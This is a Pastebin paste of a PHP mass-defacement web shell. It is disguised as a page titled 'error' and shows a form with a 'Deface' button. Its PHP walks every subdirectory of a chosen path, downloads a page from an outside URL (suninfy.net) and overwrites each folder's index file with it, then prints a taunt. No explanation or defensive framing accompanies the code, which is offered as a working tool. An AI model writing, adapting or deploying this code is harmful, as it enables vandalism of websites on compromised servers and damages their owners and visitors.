Advertisement
Guest User

Untitled

a guest
May 22nd, 2012
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.60 KB | None | 0 0
  1. <!--
  2. -->
  3. <html>
  4. <style>
  5. body{margin:0px;font-style:normal;font-size:10px;color:#FFFFFF;font-family:Verdana,Arial;background-color:#3a3a3a;scrollbar-face-color: #303030;scrollbar-highlight-color: #5d5d5d;scrollbar-shadow-color: #121212;scrollbar-3dlight-color: #3a3a3a;scrollbar-arrow-color: #9d9d9d;scrollbar-track-color: #3a3a3a;scrollbar-darkshadow-color: #3a3a3a;}
  6. input,
  7. .kbrtm,select{background:#303030;color:#FFFFFF;font-family:Verdana,Arial;font-size:10px;vertical-align:middle; height:18; border-left:1px solid #5d5d5d; border-right:1px solid #121212; border-bottom:1px solid #121212; border-top:1px solid #5d5d5d;}
  8. button{background-color: #666666; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
  9. body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}
  10. </style>
  11. <title>error</title>
  12. <div align="center"><br>
  13. <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#303030 borderColorLight=#666666 border=1>
  14. <tr>
  15. <td width="100%">
  16. <b><center>
  17. <p align="center">&nbsp;</p> </td>
  18. </tr>
  19. </table>
  20. <div align="left"><br>
  21. <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#303030 borderColorLight=#666666 border=1>
  22. <tr><td width="100%">
  23. <b>
  24. <form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=post>
  25. <p align="center">Folder &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:
  26. <input typ=text name=path size=60 value="<?=getcwd();?>">
  27. <br>
  28. file name
  29. &nbsp; &nbsp; :
  30. <input typ=text name=file size=60 value="index.htm">
  31. <br>
  32. Index url &nbsp;&nbsp;&nbsp;&nbsp;:
  33. <input typ=text name=url size=60 value="http://suninfy.net/templates/fuc/index.htm">
  34. <br>
  35. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  36. <input type=submit value=Deface>
  37. </p>
  38. </form>
  39. <html>
  40. </td>
  41. </tr>
  42. </table>
  43. <br>
  44. <?php
  45. error_reporting(0);
  46. $mainpath=$_POST[path];
  47. $file=$_POST[file];
  48. $indexurl=$_POST[url];
  49.  
  50. $dir=opendir("$mainpath");
  51. while($row=readdir($dir))
  52. {
  53. $start=@fopen("$row/$file","w+");
  54. $code=@file_get_contents($indexurl);
  55. $finish=@fwrite($start,$code);
  56. if ($finish)
  57. {
  58. echo "$row/$file > Done<br><br>";
  59. }
  60. }
  61. echo "-----------------------------------------------<br><br>[+] sweet Dreams :D";
  62. ?>
  63. </div>
  64. </div>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement